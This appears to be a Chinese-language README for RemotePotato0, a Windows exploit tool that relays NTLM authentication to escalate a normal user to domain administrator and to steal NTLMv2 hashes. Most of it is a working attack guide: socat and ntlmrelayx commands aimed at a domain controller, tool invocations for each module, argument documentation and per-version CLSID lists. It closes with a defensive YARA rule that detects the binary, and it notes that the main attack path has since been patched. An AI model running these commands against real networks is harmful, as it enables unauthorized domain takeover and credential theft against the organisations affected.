更新 2022-10-21:RemotePotato0 的主要利用场景 RPC->LDAP 已被修复。更多详情请见 --> https://twitter.com/splinter_code/status/1583555613950255104
又一个“不会修复”的 Windows 权限提升漏洞,从普通用户提升到域管理员。
RemotePotato0 是一个漏洞利用工具,允许您将权限从普通用户提升到域管理员。
简要说明:
它滥用 DCOM 激活服务,并触发目标机器上当前登录的任何用户的 NTLM 认证。 前提是目标机器上必须有一个特权用户已登录(例如域管理员用户)。 一旦 NTLM type1 被触发,我们设置一个跨协议中继服务器,接收特权 type1 消息,并通过解包 RPC 协议并将认证封装到 HTTP 上,将其中继到第三个资源。在接收端,您可以设置进一步的中继节点(例如 ntlmrelayx),或直接中继到特权资源。 RemotePotato0 还允许抓取和窃取机器上所有已登录用户的 NTLMv2 哈希。
攻击者机器 (10.0.0.20)
受害者机器 (10.0.0.45)
受害者域控制器 (10.0.0.10)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
注意:如果您使用的是 Windows Server <= 2016,您可以避免使用网络重定向器(socat),因为 oxid 解析可以在本地完成。
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
query user
.\RemotePotato0.exe -m 2 -s 1
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0
@splinter_code & @decoder_it
必选参数:
-m 模块
允许的值:
0 - Rpc2Http 跨协议中继服务器 + potato 触发器(默认)
1 - Rpc2Http 跨协议中继服务器
2 - RPC 捕获(哈希)服务器 + potato 触发器
3 - RPC 捕获(哈希)服务器
其他参数:(根据使用的模块,有些可能是必选和/或可选的)
-r 远程 HTTP 中继服务器 IP
-t 远程 HTTP 中继服务器端口(默认 80)
-x 恶意 Oxid 解析器 IP(默认 127.0.0.1)
-p 恶意 Oxid 解析器端口(默认 9999)
-l RPC 中继服务器监听端口(默认 9997)
-s 跨会话激活攻击的会话 ID(默认禁用)
-c CLSID(默认 {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
在不同 Windows 版本上可用的 CLSID 列表:
Windows Server 2019
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser
Windows Server 2016
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Windows Server 2008 R2
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
您可以在以下链接中找到更完整的列表 --> http://ohpe.it/juicy-potato/CLSID/
用于检测 RemotePotato0 二进制文件的 Yara 规则:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}